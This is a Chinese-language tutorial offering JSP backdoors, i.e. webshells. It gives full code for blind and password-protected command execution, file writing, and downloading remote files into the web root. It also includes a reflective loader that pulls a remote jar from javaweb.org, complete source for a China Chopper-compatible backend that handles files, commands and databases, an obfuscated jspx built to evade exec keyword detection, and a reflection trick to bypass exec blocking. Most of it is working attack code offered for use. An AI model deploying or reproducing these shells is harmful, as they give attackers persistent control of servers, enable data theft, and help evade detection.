jsp小后门

一：执行系统命令:

无回显执行系统命令：

<%Runtime.getRuntime().exec(request.getParameter( "i" ));%>

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的:

<% if ( "023" .equals(request.getParameter( "pwd" ))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter( "i" )).getInputStream(); int a = - 1 ; byte [] b = new byte [ 2048 ]; out.print("
");
        while ((a=in.read(b))!=- 1 ){
            out.println( new String(b, 0 ,a));
        }
        out.print("
");
    }
%>

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字符串编码后写入指定文件的：

1:

<% new java.io.FileOutputStream(request.getParameter( "f" )).write(request.getParameter( "c" ).getBytes());%>

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录：

<% new java.io.FileOutputStream(application.getRealPath( "/" )+ "/" +request.getParameter( "f" )).write(request.getParameter( "c" ).getBytes());%>

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2:

<% new java.io.RandomAccessFile(request.getParameter( "f" ), "rw" ).write(request.getParameter( "c" ).getBytes()); %>

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录:

<% new java.io.RandomAccessFile(application.getRealPath( "/" )+ "/" +request.getParameter( "f" ), "rw" ).write(request.getParameter( "c" ).getBytes()); %>

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长...)

<% java.io.InputStream in = new java.net.URL(request.getParameter( "u" )).openStream(); byte [] b = new byte [ 1024 ]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = - 1 ; while ((a = in.read(b)) != - 1 ) { baos.write(b, 0 , a); } new java.io.FileOutputStream(request.getParameter( "f" )).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

<% java.io.InputStream in = new java.net.URL(request.getParameter( "u" )).openStream(); byte [] b = new byte [ 1024 ]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = - 1 ; while ((a = in.read(b)) != - 1 ) { baos.write(b, 0 , a); } new java.io.FileOutputStream(application.getRealPath( "/" )+ "/" + request.getParameter( "f" )).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四：反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个：

<%=Class.forName( "Load" , true , new java.net.URLClassLoader( new java.net.URL[]{ new java.net.URL(request.getParameter( "u" ))})).getMethods()[ 0 ].invoke( null , new Object[]{request.getParameterMap()})%>

请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A 菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar，密码023. 解： 利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。 下载：Cat.jar Load代码：

import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */
/**
 *
 * @author yz
 */
public class Load {
    public static String load(Map map){
        try {
            Map request = new HashMap();
            for (Entry "" > entrySet : map.entrySet()) {
                String key = entrySet.getKey();
                String value = entrySet.getValue()[ 0 ];
                request.put(key, value);
            }
            return new Chopper().doPost(request);
        } catch (IOException ex) {
            return ex.toString();
        }
    }
}

Chopper代码：

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLClassLoader;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Map;
public class Chopper{
    public static String getPassword() throws IOException {
        return "023" ;
    }
    String cs = "UTF-8" ;
    String encoding(String s) throws Exception {
        return new String(s.getBytes( "ISO-8859-1" ), cs);
    }
    Connection getConnection(String s) throws Exception {
        String[] x = s.trim().split( "\r\n" );
        try {
            Class.forName(x[ 0 ].trim());
        } catch (ClassNotFoundException e) {
            boolean classNotFound = true ;
            BufferedReader br = new BufferedReader( new InputStreamReader( this .getClass().getResourceAsStream( "/map.txt" )));
            String str = "" ;
            while ((str = br.readLine()) != null ) {
                String[] arr = str.split( "=" );
                if (arr.length == 2 && arr[ 0 ].trim().equals(x[ 0 ].trim())) {
                    try {
                        URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();
                        Method m = URLClassLoader. class .getDeclaredMethod( "addURL" , URL. class );
                        m.setAccessible( true );
                        m.invoke(ucl, new Object[]{ new URL(arr[ 1 ])});
                        Class.forName(arr[ 0 ].trim());
                        classNotFound = false ;
                        break ;
                    } catch (ClassNotFoundException ex) {
                        throw ex;
                    }
                }
            }
            if (classNotFound) {
                throw e;
            }
        }
        if (x[ 1 ].contains( "jdbc:oracle" )) {
            return DriverManager.getConnection(x[ 1 ].trim() + ":" + x[ 4 ],
                    x[ 2 ].equalsIgnoreCase( "[/null]" ) ? "" : x[ 2 ],
                    x[ 3 ].equalsIgnoreCase( "[/null]" ) ? "" : x[ 3 ]);
        } else {
            Connection c = DriverManager.getConnection(x[ 1 ].trim(),
                    x[ 2 ].equalsIgnoreCase( "[/null]" ) ? "" : x[ 2 ],
                    x[ 3 ].equalsIgnoreCase( "[/null]" ) ? "" : x[ 3 ]);
            if (x.length > 4 ) {
                c.setCatalog(x[ 4 ]);
            }
            return c;
        }
    }
    void listRoots(ByteArrayOutputStream out) throws Exception {
        File r[] = File.listRoots();
        for (File f : r) {
            out.write((f.getName()).getBytes(cs));
        }
    }
    void dir(String s, ByteArrayOutputStream out) throws Exception {
        File l[] = new File(s).listFiles();
        for (File f : l) {
            String mt = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss" ).format( new Date(f.lastModified()));
            String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "" );
            out.write((f.getName() + (f.isDirectory() ? "/" : "" ) + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n" ).getBytes(cs));
        }
    }
    void deleteFiles(File f) throws Exception {
        if (f.isDirectory()) {
            File x[] = f.listFiles();
            for (File fs : x) {
                deleteFiles(fs);
            }
        }
        f.delete();
    }
    byte [] readFile(String s) throws Exception {
        int n;
        byte [] b = new byte [ 1024 ];
        BufferedInputStream bis = new BufferedInputStream( new FileInputStream(s));
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        while ((n = bis.read(b)) != - 1 ) {
            bos.write(b, 0 , n);
        }
        bis.close();
        return bos.toByteArray();
    }
    void upload(String s, String d) throws Exception {
        String h = "0123456789ABCDEF" ;
        File f = new File(s);
        f.createNewFile();
        FileOutputStream os = new FileOutputStream(f);
        for ( int i = 0 ; i < d.length(); i += 2 ) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1 )))); } os.close(); } void filesMove(File sf, File df) throws Exception { if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (File z1 : z) { filesMove( new File(sf, z1.getName()), new File(df, z1.getName())); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte [] b = new byte [ 1024 ]; while ((n = is.read(b)) != - 1 ) { os.write(b, 0 , n); } is.close(); os.close(); } } void fileMove(File s, File d) throws Exception { s.renameTo(d); } void mkdir(File s) throws Exception { s.mkdir(); } void setLastModified(File s, String t) throws Exception { s.setLastModified( new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss" ).parse(t).getTime()); } void downloadRemoteFile(String s, String d) throws Exception { int n = 0 ; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection(); InputStream is = h.getInputStream(); byte [] b = new byte [ 1024 ]; while ((n = is.read(b)) != - 1 ) { os.write(b, 0 , n); } os.close(); is.close(); h.disconnect(); } void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception { int i = - 1 ; byte [] b = new byte [ 1024 ]; while ((i = is.read(b)) != - 1 ) { out.write(b, 0 , i); } } void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); ResultSet r = s.contains( "jdbc:oracle" ) ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs(); while (r.next()) { out.write((r.getObject( 1 ) + "\t" ).getBytes(cs)); } r.close(); c.close(); } void getTableName(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); String[] x = s.trim().split( "\r\n" ); ResultSet r = c.getMetaData().getTables( null , s.contains( "jdbc:oracle" ) ? x.length > 5 ? x[ 5 ] : x[ 4 ] : null , "%" , new String[]{ "TABLE" });
        while (r.next()) {
            out.write((r.getObject( "TABLE_NAME" ) + "\t" ).getBytes(cs));
        }
        r.close();
        c.close();
    }
    void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {
        String[] x = s.trim().split( "\r\n" );
        Connection c = getConnection(s);
        ResultSet r = c.prepareStatement( "select * from " + x[x.length - 1 ]).executeQuery();
        ResultSetMetaData d = r.getMetaData();
        for ( int i = 1 ; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t" ).getBytes(cs)); } r.close(); c.close(); } void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception { Connection c = getConnection(s); Statement m = c.createStatement( 1005 , 1008 ); BufferedWriter bw = null ; try { boolean f = q.contains( "--f:" ); ResultSet r = m.executeQuery(f ? q.substring( 0 , q.indexOf( "--f:" )) : q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for ( int i = 1 ; i <= n; i++) { out.write((d.getColumnName(i) + "\t|\t" ).getBytes(cs)); } out.write(( "\r\n" ).getBytes(cs)); if (f) { File file = new File(p); if (!q.contains( "-to:" )) { file.mkdir(); } bw = new BufferedWriter( new OutputStreamWriter( new FileOutputStream( new File(q.contains( "-to:" ) ? p.trim() : p + q.substring(q.indexOf( "--f:" ) + 4 , q.length()).trim()), true ), cs)); } while (r.next()) { for ( int i = 1 ; i <= n; i++) { if (f) { bw.write(r.getObject(i) + "" + "\t" ); bw.flush(); } else { out.write((r.getObject(i) + "" + "\t|\t" ).getBytes(cs)); } } if (bw != null ) { bw.newLine(); } out.write(( "\r\n" ).getBytes(cs)); } r.close(); if (bw != null ) { bw.close(); } } catch (Exception e) { out.write(( "Result\t|\t\r\n" ).getBytes(cs)); try { m.executeUpdate(q); out.write(( "Execute Successfully!\t|\t\r\n" ).getBytes(cs)); } catch (Exception ee) { out.write((ee.toString() + "\t|\t\r\n" ).getBytes(cs)); } } m.close(); c.close(); } public String doPost(Maprequest) throws IOException {
        cs = request.get( "z0" ) != null ? request.get( "z0" ) + "" : cs;
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        try {
            char z = ( char ) request.get(getPassword()).getBytes()[ 0 ];
            String z1 = encoding(request.get( "z1" ) + "" );
            String z2 = encoding(request.get( "z2" ) + "" );
            out.write( "->|" .getBytes(cs));
            String s = new File( "" ).getCanonicalPath();
            byte [] returnTrue = "1" .getBytes(cs);
            switch (z) {
                case 'A' :
                    out.write((s + "\t" ).getBytes(cs));
                    if (!s.substring( 0 , 1 ).equals( "/" )) {
                        listRoots(out);
                    }
                    break ;
                case 'B' :
                    dir(z1, out);
                    break ;
                case 'C' :
                    String l = "" ;
                    BufferedReader br = new BufferedReader( new InputStreamReader( new FileInputStream( new File(z1))));
                    while ((l = br.readLine()) != null ) {
                        out.write((l + "\r\n" ).getBytes(cs));
                    }
                    br.close();
                    break ;
                case 'D' :
                    BufferedWriter bw = new BufferedWriter( new OutputStreamWriter( new FileOutputStream( new File(z1))));
                    bw.write(z2);
                    bw.flush();
                    bw.close();
                    out.write(returnTrue);
                    break ;
                case 'E' :
                    deleteFiles( new File(z1));
                    out.write( "1" .getBytes(cs));
                    break ;
                case 'F' :
                    out.write(readFile(z1));
                case 'G' :
                    upload(z1, z2);
                    out.write(returnTrue);
                    break ;
                case 'H' :
                    filesMove( new File(z1), new File(z2));
                    out.write(returnTrue);
                    break ;
                case 'I' :
                    fileMove( new File(z1), new File(z2));
                    out.write(returnTrue);
                    break ;
                case 'J' :
                    mkdir( new File(z1));
                    out.write(returnTrue);
                    break ;
                case 'K' :
                    setLastModified( new File(z1), z2);
                    out.write(returnTrue);
                    break ;
                case 'L' :
                    downloadRemoteFile(z1, z2);
                    out.write(returnTrue);
                    break ;
                case 'M' :
                    String[] c = {z1.substring( 2 ), z1.substring( 0 , 2 ), z2};
                    Process p = Runtime.getRuntime().exec(c);
                    inputStreamToOutPutStream(p.getInputStream(), out);
                    inputStreamToOutPutStream(p.getErrorStream(), out);
                    break ;
                case 'N' :
                    getCurrentDB(z1, out);
                    break ;
                case 'O' :
                    getTableName(z1, out);
                    break ;
                case 'P' :
                    getTableColumn(z1, out);
                    break ;
                case 'Q' :
                    executeQuery(cs, z1, z2, out, z2.contains( "-to:" ) ? z2.substring(z2.indexOf( "-to:" ) + 4 , z2.length()) : s.replaceAll( "\\\\" , "/" ) + "images/" );
                    break ;
            }
        } catch (Exception e) {
            out.write(( "ERROR" + ":// " + e.toString()).getBytes(cs));
        }
        out.write(( "|<-" ).getBytes(cs)); return new String(out.toByteArray()); } }

map.txt:

oracle.jdbc.driver.OracleDriver=http: //javaweb.org/jdbc/classes12.jar
com.mysql.jdbc.Driver=http: //javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar
com.microsoft.jdbc.sqlserver.SQLServerDriver=http: //javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jar
com.microsoft.sqlserver.jdbc.SQLServerDriver=http: //javaweb.org/jdbc/sqljdbc4.jar
com.ibm.db2.jcc.DB2Driver=http: //javaweb.org/jdbc/db2java.jar
com.informix.jdbc.IfxDriver=http: //javaweb.org/jdbc/ifxjdbc.jar
com.sybase.jdbc3.jdbc.SybDriver=http: //javaweb.org/jdbc/jconn3d.jar
org.postgresql.Driver=http: //javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar
com.ncr.teradata.TeraDriver=http: //javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar
com.hxtt.sql.access.AccessDriver=http: //javaweb.org/jdbc/Access_JDBC30.jar
org.apache.derby.jdbc.ClientDriver=http: //javaweb.org/jdbc/derby.jar
org.hsqldb.jdbcDriver=http: //javaweb.org/jdbc/hsqldb.jar
net.sourceforge.jtds.jdbc.Driver=http: //javaweb.org/jdbc/jtds-1.2.5.jar
mongodb=http: //javaweb.org/jdbc/mongo-java-driver-2.9.3.jar

无任何命令执行关键字的cmd.zip

"http://java.sun.com/JSP/Page" version= "1.2" >
    "text/html" pageEncoding= "UTF-8" />

        Class<?> api = String. class .getClass().forName( new String( new byte []{ 106 , 97 , 118 , 97 , 46 , 108 , 97 , 110 , 103 , 46 , 82 , 117 , 110 , 116 , 105 , 109 , 101 }));
        Object obj2 = api.getMethod( new String( new byte []{ 101 , 120 , 101 , 99 }), String. class ).invoke(api.getMethod( new String( new byte []{ 103 , 101 , 116 , 82 , 117 , 110 , 116 , 105 , 109 , 101 })).invoke( null , new Object[]{}), new Object[]{request.getParameter("str")});
        java.lang.reflect.Method m = obj2.getClass().getMethod( new String( new byte []{ 103 , 101 , 116 , 73 , 110 , 112 , 117 , 116 , 83 , 116 , 114 , 101 , 97 , 109 }));
        m.setAccessible( true );
        java.util.Scanner s = new java.util.Scanner((java.io.InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
        out.write("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>");

 

 

绕过exec关键字很简单，如果是纯代码检测用这个无任何命令执行关键字的命令执行jspx(参数str): cmd.jspx.zip 如果是语言层拦截了exec，那么可以通过反射java.lang.UNIXProcess类实现执行任意的命令。示例代码如下:

Class clazz = Class.forName( "java.lang.ProcessImpl" );
Constructor constructor = clazz.getDeclaredConstructors()[ 0 ];
constructor.setAccessible( true );

Process process = (Process) constructor.newInstance(
        toCString(cmdarray[ 0 ]), argBlock, args.length,
        null , envc[ 0 ], null , std_fds, false
);

如果不会写，自己参考"UNIXProcess.java"的代码就可以了。